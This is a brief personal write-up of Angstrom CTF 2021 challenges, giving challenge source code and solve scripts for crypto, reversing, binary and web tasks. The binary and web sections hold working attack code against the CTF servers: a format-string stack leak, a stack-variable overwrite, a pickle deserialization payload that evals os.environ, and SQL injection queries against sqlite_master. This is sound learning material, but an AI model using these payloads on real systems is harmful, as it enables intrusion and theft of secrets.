Angstrom CTF 2021

Notes about this CTF will be super brief since there's so many challenges and I don't have the patience to writeup all of them. If you really have trouble understanding though, I promise to work with you at luconfident#3198 on Discord as long as you contact me before May 2021

Crypto Problems

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

We are given all the variables, n, p, q, e, and c in RSA. So decrypting the message is straightforward.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

sol.py

cipher = bytes.fromhex("ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c")

for i in range(len(cipher) - 5):
    key = b"".join(bytes([x ^ y]) for x, y in zip(cipher[i: i+5], b"actf{"))
    j = i%5
    if i % 5 != 0:
        key = key[-j%5: 5] + key[: -j%5]
    plain = b""
    for j, c in enumerate(cipher):
        plain += bytes([c ^ key[j % 5]])
    print(plain)

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

chall.py

import string

with open("key.txt", "r") as f:
    shift = int(f.readline())
    key = f.readline()

with open("flag.txt", "r") as f:
    flag = f.read()


stdalph = string.ascii_lowercase
rkey = ""

for i in key:
    if i not in rkey:
        rkey += i
for i in stdalph:
    if i not in rkey:
        rkey += i
rkey = rkey[-shift:] + rkey[:-shift]

enc = ""
for a in flag:
    if a in stdalph:
        enc += rkey[stdalph.index(a)]
    else:
        enc += a

print(enc)

Solved with https://www.boxentriq.com/code-breaking/cryptogram

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Solved when applying Wiener's attack because

e is so large which implies
d
is small.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

chall.py

#!/usr/bin/python
import binascii
from random import choice

class Cipher:
    BLOCK_SIZE = 16
    ROUNDS = 3
    def __init__(self, key):
        assert(len(key) == self.BLOCK_SIZE*self.ROUNDS)
        self.key = key

    def __block_encrypt(self, block):
        enc = int.from_bytes(block, "big")
        for i in range(self.ROUNDS):
            k = int.from_bytes(self.key[i*self.BLOCK_SIZE:(i+1)*self.BLOCK_SIZE], "big")
            enc &= k
            enc ^= k
        return hex(enc)[2:].rjust(self.BLOCK_SIZE*2, "0")


    def __pad(self, msg):
        if len(msg) % self.BLOCK_SIZE != 0:
            return msg + (bytes([0]) * (self.BLOCK_SIZE - (len(msg) % self.BLOCK_SIZE)))
        else:
            return msg
    
    def encrypt(self, msg):
        m = self.__pad(msg)
        e = ""
        for i in range(0, len(m), self.BLOCK_SIZE):
            e += self.__block_encrypt(m[i:i+self.BLOCK_SIZE])
        return e.encode()

key = binascii.unhexlify("".join([choice(list("abcdef0123456789")) for a in range(Cipher.BLOCK_SIZE*Cipher.ROUNDS*2)]))

with open("flag", "rb") as f:
    flag = f.read()

cipher = Cipher(key)


while True:
    a = input("Would you like to encrypt [1], or try encrypting [2]? ")
    if a == "1":

        p = input("What would you like to encrypt: ")
        try:
            print(cipher.encrypt(binascii.unhexlify(p)).decode())
        except:
            print("Invalid input. ")
    elif a == "2":
        for i in range(10):
            p = "".join([choice(list("abcdef0123456789")) for a in range(64)])
            print("Encrypt this:", p)
            e = cipher.encrypt(binascii.unhexlify(p)).decode()
            c = input()
            if e != c:
                print("L")
                print(e)
                print(c)
                print(bin(e))
                print(bin(c))
                exit()
        print("W")
        print(flag.decode())            

    elif a.lower() == "quit":
        print("Bye")
        exit()
    else:
        print("Invalid input. ")

sol.py

print("0"*64)
zero = int(str(input()), 16)
print(zero)
zero = bin(zero)[2:].zfill(256)
print("f"*64)
one = int(str(input()), 16)
print(one)
one = bin(one)[2:].zfill(256)

for _ in range(10):
    p = int(str(input()), 16)
    c = ""
    p = bin(p)[2:].zfill(256)

    for i, b in enumerate(p):
        if b == "0":
            c += zero[i]
        else:
            c += one[i]

    print(hex(int(c, 2)))

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

source.py

import os
import zlib
def keystream():
	key = os.urandom(2)
	index = 0
	while 1:
		index+=1
		if index >= len(key):
			key += zlib.crc32(key).to_bytes(4,'big')
		yield key[index]
ciphertext = []
with open("plain","rb") as f:
	plain = f.read()
	assert b"actf{" in plain
	k = keystream()
	for i in plain:
		ciphertext.append(i ^ next(k))
with open("enc","wb") as g:
	g.write(bytes(ciphertext))

sol.py

import os
import zlib
from Crypto.Util.number import *

def keystream(a):
    key = long_to_bytes(a)
    index = 0
    while 1:
        index+=1
        if index >= len(key):
            key += zlib.crc32(key).to_bytes(4,'big')
        yield key[index]

ciphertext = open("enc","rb").read()

for i in range(65536):
    k = keystream(i)
    plaintext = b""
    for c in ciphertext:
        plaintext += bytes([c ^ next(k)])
    if not i:
        print(plaintext)
    if b"actf{" in plaintext:
        print(plaintext)

chall.py

import time
import random
import os

class Generator():
    DIGITS = 8
    def __init__(self, seed):
        self.seed = seed
        assert(len(str(self.seed)) == self.DIGITS)

    def getNum(self):
        self.seed = int(str(self.seed**2).rjust(self.DIGITS*2, "0")[self.DIGITS//2:self.DIGITS + self.DIGITS//2])
        return self.seed


r1 = Generator(random.randint(10000000, 99999999))
r2 = Generator(random.randint(10000000, 99999999))


query_counter = 0
while True:
    query = input("Would you like to get a random output [r], or guess the next random number [g]? ")
    if query.lower() not in ["r", "g"]:
        print("Invalid input.")
        break
    else:
        if query.lower() == "r" and query_counter < 3:
            print(r1.getNum() * r2.getNum())
            query_counter += 1;
        elif query_counter >= 3 and query.lower() == "r":
            print("You don't get more random numbers!")
        else:
            for i in range(2):
                guess = int(input("What is your guess to the next value generated? "))
                if guess != r1.getNum() * r2.getNum():
                    print("Incorrect!")
                    exit()
            with open("flag", "r") as f:
                fleg = f.read()
            print("Congrats! Here's your flag: ")
            print(fleg)
            exit()

sol.sage

n = int(input("first: "))
cand = []
n_div = list(divisors(n))

for div in n_div:
    pair = (div, n//div)
    if pair[0] >= 10**6 and pair[0] <= 10**9 and pair[1] >= 10**6 and pair[1] <= 10**9:
        if pair[::-1] not in cand:
            cand.append(pair)

def transform(a):
    return int(str(a**2).rjust(16, "0")[4:12])

for i in range(len(cand)):
    cand[i] = (transform(cand[i][0]), transform(cand[i][1]))

n = int(input("second: ")) 
print("n", n)
for i, c in enumerate(cand):
    print(c[0] * c[1])
    print(c[0] * c[1] == n)
    if c[0] * c[1] == n:
        cand[i] = (transform(cand[i][0]), transform(cand[i][1]))
        print(cand[i])
        cand[i] = (transform(cand[i][0]), transform(cand[i][1]))
        print(cand[i])

gen.py

import random
import secrets
import math
from decimal import Decimal, getcontext
from Crypto.Cipher import AES

BOUND = 2 ** 128
MULT = 10 ** 10

getcontext().prec = 50

def nums(a):
    b = Decimal(random.randint(-a * MULT, a * MULT)) / MULT
    c = (a ** 2 - b ** 2).sqrt()
    if random.randrange(2):
        c *= -1
    return (b, c)


with open("flag", "r") as f:
    flag = f.read().strip().encode("utf8")

diff = len(flag) % 16
if diff:
    flag += b"\x00" * (16 - diff)

keynum = secrets.randbits(128)
ivnum = secrets.randbits(128)
print("key=", keynum)
print("iv=", ivnum)

key = int.to_bytes(keynum, 16, "big")
iv = int.to_bytes(ivnum, 16, "big")

x = Decimal(random.randint(1, BOUND * MULT)) / MULT
for _ in range(3):
    (a, b) = nums(x)
    print(f"({keynum + a}, {ivnum + b})")

cipher = AES.new(key, AES.MODE_CBC, iv=iv)
enc = cipher.encrypt(flag)
print(enc.hex())

sol.sage

from Crypto.Cipher import AES

x1, y1 = (45702021340126875800050711292004769456.2582161398, 310206344424042763368205389299416142157.00357571144)
x2, y2 = (55221733168602409780894163074078708423.359152279, 347884965613808962474866448418347671739.70270575362)
x3, y3 = (14782966793385517905459300160069667177.5906950984, 340240003941651543345074540559426291101.69490484699)
enc = bytes.fromhex("838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76")

M = Matrix([
    [2*y1 - 2*y2, 2*x1 - 2*x2],
    [2*y1 - 2*y3, 2*x1 - 2*x3]
])
b = vector([
    (y1^2-y2^2) - (x2^2-x1^2),
    (y1^2-y3^2) - (x3^2-x1^2)
])
ans = M.solve_right(b)

iv = int(ans[0])
k = int(ans[1])
print("key =", k)
print("iv  =", iv)

key = int.to_bytes(k, 16, "big")
iv = int.to_bytes(iv, 16, "big")
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
dec = cipher.decrypt(enc)
print(dec)

chall.py

#!/usr/bin/python3

from functools import reduce

with open("flag", "r") as f:
    key = [ord(x) for x in f.read().strip()]



def substitute(value):
    return (reduce(lambda x, y: x*value+y, key))%691



print("Enter a number and it will be returned with our super secret synthetic substitution technique")
while True:
    try:
        value = input("> ")
        if value == 'quit':
            quit()
        value = int(value)
        enc = substitute(value)
        print(">> ", end="")
        print(enc)
    except ValueError:
        print("Invalid input. ")

sol.sage

import os
os.environ['TERM'] = 'linux'

from pwn import *

def get(n):
    global r
    r.sendline(str(n))
    return int(r.recv(4096).replace(b'>> ', b'').replace(b'\n> ', b'').decode())

R = IntegerModRing(691)
# r = process('./chall.py')
r = remote("crypto.2021.chall.actf.co", "21601")
r.recv(4096)

rhs = []

for i in range(1, 150):
    rhs.append(get(i))
    lhs = []
    for j in range(1, i+1):
        lhs.append(
            [pow(j, k, 691) for k in range(i-1, -1, -1)]
        )
    M = Matrix(R, lhs)
    b = vector(R, rhs)
    ans = M.solve_right(b)
    
    if ans[0] == 97 and ans[1] == 99:
        print("".join(chr(a) for a in ans))
        break

server.py

#!/usr/bin/python3

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os

key = os.urandom(32)
flag = open("flag","rb").read()

while 1:
    try:
        i = bytes.fromhex(input("give input: "))
        if not i:
            break
    except:
        break
    iv = os.urandom(16)
    inp = i.replace(b"{}", flag)
    if len(inp) % 16:
        inp = pad(inp, 16)
    print(
        AES.new(key, AES.MODE_CBC, iv=iv).decrypt(inp).hex()
    )

sol.py

from pwn import *
from binascii import hexlify, unhexlify

# r = process("./server.py")
r = remote('crypto.2021.chall.actf.co', '21112')
r.recv(4096)
r.sendline(hexlify(b"{}").decode())
x = len(r.recvline().replace(b'give input: ', b''))

for i in range(1, 18):
    r.sendline("00" * i + hexlify(b"{}").decode())
    if len(r.recvline().replace(b'give input: ', b'')) != x:
        offset = i - 1
        break

print('offset', offset)
blocks = x // 32
print('blocks', blocks)

r.sendline("00" * 32 + "00" * offset + hexlify(b"{}").decode() + "00" * 16)
data = bytes.fromhex(r.recvline().replace(b'give input: ', b'').strip().decode())
r.recv(4096)

last = xor(data[16:32], data[-16:])

r.sendline("00" * 16 + binascii.hexlify(last).decode() + "00" * offset + hexlify(b"{}").decode())
data = bytes.fromhex(r.recvline().replace(b'give input: ', b'').strip().decode())

second_last = xor(data[16:32], data[-16:])
print(second_last + last)

Misc Problems

We have a "corrupted" zip file that contains a file that has an attribute date < 1920. To view the contents of the file without unzipping it, I opened it in vim and pressed enter on the corresponding file name.

I used StegSolve.

float_on.c

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

#define DO_STAGE(num, cond) do {\
    printf("Stage " #num ": ");\
    scanf("%lu", &converter.uint);\
    x = converter.dbl;\
    if(cond) {\
        puts("Stage " #num " passed!");\
    } else {\
        puts("Stage " #num " failed!");\
        return num;\
    }\
} while(0);

void print_flag() {
    FILE* flagfile = fopen("flag.txt", "r");
    if (flagfile == NULL) {
        puts("Couldn't find a flag file.");
        return;
    }
    char flag[128];
    fgets(flag, 128, flagfile);
    flag[strcspn(flag, "\n")] = '\x00';
    puts(flag);
}

union cast {
    uint64_t uint;
    double dbl;
};

int main(void) {
    union cast converter;
    double x;

    DO_STAGE(1, x == -x);
    DO_STAGE(2, x != x);
    DO_STAGE(3, x + 1 == x && x * 2 == x);
    DO_STAGE(4, x + 1 == x && x * 2 != x);
    DO_STAGE(5, (1 + x) - 1 != 1 + (x - 1));

    print_flag();

    return 0;
}

Lol, it is not possible for

xx. So I checked out the edge cases in IEEE 754 Double precision float format, such as how to form +/- infinity, max double, etc.

Rev problems

Opened the problem in Ghidra, had it decompile the code for me; solved very easily after that.

Opened the problem in Ghidra, had it decompile the code. Viewed binary in a graph view, as the code contained a lot of if-else statements.

Found an array of "acceptable" responses to the binary by setting breakpoints in gdb. Unfortunately they were not located in memory; they were dynamically generated by a function so I had to use gdb. However, gdb would interrupt in the midst of a read call; after typing a few fin's, which would resume execution to the end of a function, I would be able to interrupt calls to FUN0x...150, replace rdi with whatever response we wanted, and trace responses to the flag execution path.

from pwn import *

#r = process('./jailbreak')
r = remote('shell.actf.co', '21701')

print(r.recv(4096))
r.sendline('pick the snake up')

print(r.recv(4096))
r.sendline('throw the snake at kmh')

print(r.recv(4096))
r.sendline('pry the bars open')

print(r.recv(4096))

i = 0
for b in bin(1337)[3:]:
    r.sendline('look around')
    print(r.recv(4096))

    if b == "0":
        r.sendline('press the red button')
        i *= 2
    else:
        r.sendline('press the green button')
        i = i*2 + 1
    print(r.recv(4096))

print(i)

r.sendline('bananarama')
r.interactive()

Binary problems

I solved the first five challenges but I did the first three so quickly without writing any notes or code that I cannot find how I did them. If you try the entry sequences to pwnable.kr, you should find similar problems. Here's solutions to the last two.

This is a format string attack in which I printed pointers on the stack.

from pwn import *
from binascii import unhexlify

d = b""

# https://www.tutorialspoint.com/format-specifiers-in-c
for i in range(33, 43):
    r = remote('shell.actf.co', '21820')
    # r = process('./stickystacks')
    r.sendline(f'%{i}$p')
    d += unhexlify(
        r.recv(4096).replace(b'\n', b'').replace(b'Name: ', b'').replace(b'Welcome, ', b'')
        .replace(b'0x', b'').zfill(16)
    )[::-1]
    r.close()

print(d)

challenge.cpp

#include <iostream>
#include <fstream>
#include <string>

using namespace std;

ifstream flag("flag.txt");

struct character {
	int health;
	int skill;
	long tokens;
	string name;
};

void play() {
	string action;
	character player;
	cout << "Enter your name: " << flush;
	getline(cin, player.name);
	cout << "Welcome, " << player.name << ". Skill level: " << player.skill << endl;
	while (true) {
		cout << "\n1. Power up" << endl;
		cout << "2. Fight for the flag" << endl;
		cout << "3. Exit game\n" << endl;
		cout << "What would you like to do? " << flush;
		cin >> action;
		cin.ignore();
		if (action == "1") {
			cout << "Power up requires shadow tokens, available via in app purchase." << endl;
		} else if (action == "2") {
			if (player.skill < 1337) {
				cout << "You flail your arms wildly, but it is no match for the flag guardian. Raid failed." << endl;
			} else if (player.skill > 1337) {
				cout << "The flag guardian quickly succumbs to your overwhelming power. But the flag was destroyed in the frenzy!" << endl;
			} else {
				cout << "It's a tough battle, but you emerge victorious. The flag has been recovered successfully: " << flag.rdbuf() << endl;
			}
		} else if (action == "3") {
			return;
		}
	}
}

void terms_and_conditions() {
	string agreement;
	string signature;
	cout << "\nRAIId Shadow Legends is owned and operated by Working Group 21, Inc. ";
	cout << "As a subsidiary of the International Organization for Standardization, ";
	cout << "we reserve the right to standardize and/or destandardize any gameplay ";
	cout << "elements that are deemed fraudulent, unnecessary, beneficial to the ";
	cout << "player, or otherwise undesirable in our authoritarian society where ";
	cout << "social capital has been eradicated and money is the only source of ";
	cout << "power, legal or otherwise.\n" << endl;
	cout << "Do you agree to the terms and conditions? " << flush;
	cin >> agreement;
	cin.ignore();
	while (agreement != "yes") {
		cout << "Do you agree to the terms and conditions? " << flush;
		cin >> agreement;
		cin.ignore();
	}
	cout << "Sign here: " << flush;
	getline(cin, signature);
}

int main() {
	cout << "Welcome to RAIId Shadow Legends!" << endl;
	while (true) {
		cout << "\n1. Start game" << endl;
		cout << "2. Purchase shadow tokens\n" << endl;
		cout << "What would you like to do? " << flush;
		string action;
		cin >> action;
		cin.ignore();
		if (action == "1") {
			terms_and_conditions();
			play();
		} else if (action == "2") {
			cout << "Please mail a check to RAIId Shadow Legends Headquarters, 1337 Leet Street, 31337." << endl;
		}
	}
}

Viewing every single variable's memory location where I'm allowed input, I find that the agreement variable in terms_and_conditions can affect the player struct in the play function.

sol.py

from pwn import *

# r = process('./raiid_shadow_legends')
r = remote('shell.actf.co', '21300')
r.recv(4096)
r.sendline('1')
r.recv(4096)
r.sendline(b'\x00'*4 + b'\x39\x05\x00\x00')
r.recv(4096)
r.sendline('yes')
r.recv(4096)
r.interactive()

Web challenges

server.py

from flask import Flask, send_file, request, make_response, redirect
import random
import os

app = Flask(__name__)

import pickle
import base64

flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')

@app.route('/pickle.jpg')
def bg():
	return send_file('pickle.jpg')

@app.route('/')
def jar():
	contents = request.cookies.get('contents')
	if contents: items = pickle.loads(base64.b64decode(contents))
	else: items = []
	return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \
		''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)

@app.route('/add', methods=['POST'])
def add():
	contents = request.cookies.get('contents')
	if contents: items = pickle.loads(base64.b64decode(contents))
	else: items = []
	items.append(request.form['item'])
	response = make_response(redirect('/'))
	response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
	return response

app.run(threaded=True, host="0.0.0.0")

This is a Pickle Deserialization vulnerability. We can leak all environmental variables with this sneaky call to eval.

sol.py

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        return eval, ("str(os.environ)", )


if __name__ == '__main__':
    pickled = pickle.dumps([RCE()])
    print(base64.urlsafe_b64encode(pickled))

app.rb

require 'sinatra'
require 'sqlite3'

set :bind, "0.0.0.0"
set :port, 4567

get '/' do
	db = SQLite3::Database.new "quills.db"
	@row = db.execute( "select * from quills" )
	

	erb :index
end

get '/quills' do
	erb :quills	

end


post '/quills' do
	db = SQLite3::Database.new "quills.db"
	cols = params[:cols]
	lim = params[:limit]
	off = params[:offset]
	
	blacklist = ["-", "/", ";", "'", "\""]
	
	blacklist.each { |word|
		if cols.include? word
			return "beep boop sqli detected!"
		end
	}

	
	if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
		return "bad, no quills for you!"
	end

	@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

	p @row

	erb :specific
end

I got another table in the database via the SQL query select group_concat(tbl_name) from sqlite_master union select name from company limit 1 offset 1;, flagtable. Finally I used select * from flagtable union select url from company limit 1 offset 1 to get the flag.